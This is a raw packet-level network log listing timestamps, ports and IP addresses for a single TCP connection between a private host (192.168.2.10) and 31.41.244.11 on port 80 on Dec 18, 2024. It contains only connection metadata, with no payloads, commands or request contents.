Dec 18, 2024 15:56:15.181646109 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.181674004 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.181724072 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.182254076 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.182310104 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.182337046 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.182384014 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.182995081 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.183075905 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.183162928 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.183216095 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.183765888 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.183828115 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.183830023 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.183881044 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.184407949 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.184489012 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.184518099 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.184578896 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.185139894 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.185194016 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.185252905 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.185303926 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.185864925 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.185925961 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.185965061 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.186017036 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.186608076 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.186661959 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.186717987 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.186769009 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.187324047 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.187380075 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.187417984 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.187474966 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.188066006 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.188131094 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.188164949 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.188211918 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.188759089 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.188812017 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.188864946 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.188955069 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.189534903 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.189623117 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.189630032 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.189671040 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.190253973 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.190325022 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.190337896 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.190388918 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.190954924 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.191026926 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.191030025 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.191087961 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.191688061 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.191771030 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.191793919 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.191840887 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.192401886 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.192470074 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.192544937 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.192603111 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.193316936 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.193367004 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.193398952 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.193469048 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.193854094 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.193906069 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.193978071 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.194051981 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.194566965 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.194616079 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.194618940 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.194659948 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.195337057 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.195384026 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.195496082 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.195560932 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.196067095 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.196132898 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.196186066 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.196259022 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.196782112 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.196837902 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.196867943 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.196916103 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.197532892 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.197611094 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.197633982 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.197684050 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.198234081 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.198288918 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.198297024 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.198374033 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.199095011 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.199177980 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.199261904 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.199331999 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.199834108 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.199898005 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.199953079 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.200472116 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.200524092 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.200582027 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.200629950 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.201224089 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.201277018 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.201370001 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.201452017 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.201880932 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.201939106 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.201967001 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.202090979 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.202672005 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.202723026 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.202771902 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.202820063 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.203402042 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.203448057 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.203480959 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.203536987 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.204041958 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.204092026 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.204123020 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.204170942 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.204847097 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.204904079 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.204926014 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.204977989 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.205519915 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.205569029 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.205598116 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.205657959 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.206247091 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.206326962 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.206398010 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.206453085 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.207017899 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.207082033 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.207109928 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.207206011 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.207716942 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.207784891 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.207840919 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.208544970 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.208600044 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.208655119 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.209184885 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.209242105 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.209331036 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.209383011 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.209884882 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.209995031 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.339060068 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.339190006 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.339225054 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.339255095 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.339425087 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.339472055 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.339476109 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.339587927 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.340267897 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.340325117 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.340365887 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.340822935 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.340873957 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.366769075 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.366858959 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.366995096 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.366995096 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.367049932 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.367099047 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.367233038 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.367320061 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.367343903 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.367364883 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.367995024 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.368040085 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.368097067 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.368155003 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.368622065 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.368730068 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.368957043 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.369066954 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.369095087 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.369129896 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.369587898 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.369654894 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.369680882 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.369728088 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.370244980 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.370371103 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.370392084 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.370438099 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.371052980 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.371110916 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.371210098 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.371320963 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.371750116 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.371809006 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.371958971 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.372035980 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.372414112 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.372469902 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.372513056 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.372581959 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.373150110 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.373212099 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.373239994 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.373282909 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.373895884 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.373961926 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.374115944 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.374197006 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.374619961 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.374715090 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.374748945 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.374819994 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.375358105 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.375433922 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.375483036 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.375610113 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.376065016 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.376169920 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.376210928 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.376808882 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.376899958 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.376920938 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.376974106 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.377571106 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.377636909 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.377676010 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.377732038 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.378282070 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.378375053 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.378406048 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.378489017 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.379043102 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.379096031 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.379168987 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.379246950 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.379890919 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.379942894 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.379977942 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.380023956 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.380449057 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.380522013 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.380561113 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.380656958 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.381189108 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.381263971 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.381293058 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.381349087 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.381897926 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.382016897 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.382018089 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.382065058 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.382626057 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.382677078 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.382729053 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.382797956 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.383358955 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.383407116 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.383444071 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.383508921 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.384293079 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.384361982 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.384378910 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.384401083 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.384840965 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.384901047 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.384963036 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.385015011 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.385552883 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.385632992 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.385637999 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.385683060 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.386318922 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.386368990 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.386511087 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.386564970 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.386991024 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.387047052 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.387095928 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.387140989 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.387721062 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.387782097 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.387868881 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.387917995 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.388475895 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.388530970 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.388576031 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.388617992 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.389189005 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.389256001 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.389338970 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.389389992 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.389940023 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.389990091 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.390011072 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.390054941 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.390687943 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.390759945 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.390919924 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.390968084 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.391412973 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.391462088 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.391535997 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.391642094 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.392144918 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.392222881 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.392234087 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.392266035 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.392831087 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.392904997 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.392966032 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.393018007 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.393591881 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.393641949 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.393672943 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.393723965 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.394263983 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.394314051 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.394345999 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.394397020 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.395009041 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.395082951 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.395122051 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.395174026 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.395766020 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.395824909 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.395863056 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.395920992 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.396488905 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.396543026 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.396544933 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.396605015 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.397217989 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.397268057 CET	49749	80	192.168.2.10	31.41.244.11
